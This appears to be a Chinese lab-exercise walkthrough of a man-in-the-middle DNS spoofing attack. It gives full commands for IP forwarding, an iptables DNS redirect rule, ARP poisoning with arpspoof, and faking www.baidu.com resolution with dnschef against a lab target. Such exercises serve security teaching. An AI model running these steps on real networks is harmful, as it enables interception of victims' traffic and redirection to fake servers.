实验步骤
1、开启Linux的ip包转发功能
echo 1 > /proc/sys/net/ipv4/ip_forward
2、使用iptables建立一个规则,该规则的功能是把所有截获到的DNS请求报文转发到本机的UDP 53 号端口
iptables -t nat -A PREROUTING -i eth0 -p udp --dport 53 -j REDIRECT --to-ports 53
注:各参数说明:
(1)--t 参数用来指定规则表,内建的规则表有三个,分别是:nat、mangle 和 filter,当未指定规则表时,则一律视为是 filter。个规则表的功能如下:
- nat 规则表用于修改数据包源、目标IP或端口,拥有 Prerouting 和 postrouting 两个规则链;
- mangle 规则表拥有 Prerouting、FORWARD 和 postrouting 三个规则链。
除了进行网址转译工作会改写封包外,在某些特殊应用可能也必须去改写封包(TTL、TOS)或者是设定 MARK(将封包作记号,以进行后续的过滤) - filter 规则表是预设规则表,拥有 INPUT、FORWARD 和 OUTPUT 三个规则链,这个规则表顾名思义是用来进行封包过滤。
- 常用规则链:PREROUTING:路由前处理 数据包
INPUT:处理入站数据
OUTPUT:处理出站数据
FORWARD:处理转发数据
POSTROUTING:路由后处理 数据包
(2)-A :append 新增规则到某个规则链中,该规则将会成为规则链中的最后一条规则
(3) -i, input-interface 输入接口,指定了要处理来自哪个接口的数据包 ,这些数据包即将进入INPUT,FORWARD,PREROUTE链 。范例 iptables -A PREROUTING -i eth0 :表示处理来自eth0 接口的数据包,并将这些数据包载入PREROUTING链。。
(4)-p 协议(protocol)指定规则的协议,如tcp, udp, icmp等,可以使用all来指定所有协议.
(5)--dport 目的端口(destination port)针对-p tcp 或者 -p udp。还可以使用”–destination-port”
(6)-j 执行目标(jump to target),-j 指定了当与规则(Rule)匹配时如何处理数据包,可能的值是ACCEPT, DROP, QUEUE, RETURN,REDIRECT
3、使用arpspoof工具对靶机192.168.57.129与网关192.168.57.2之间的通信进行arp欺骗,截获双向通信报文。
格式:arpspoof -i 网卡 -t 目标ip -r 网关
arpspoof -t 192.168.57.129 -r 192.168.57.2
4、接着使用dnschef工具,为域名www.baidu.com设置虚假的DNS服务器ip地址172.16.8.6,真实的DNS服务器地址为183.232.231.172,最后设置监听的接口ip为192.168.57.128 攻击主机的ip地址。
dnschef --fakedomains www.baidu.com --fakeip 172.16.8.6 --nameservers 183.232.231.172 -i 192.168.57.128
5、DNS欺骗设置完成后,打开靶机 ip为 192.168.57.129, ping www.baidu.com 可以看到www.baidu.com的域名服务器ip
已经变成我们设置的虚假服务器ip172.16.8.6,而不是baidu.com的真实服务器ip。
完。。。。。。。。。。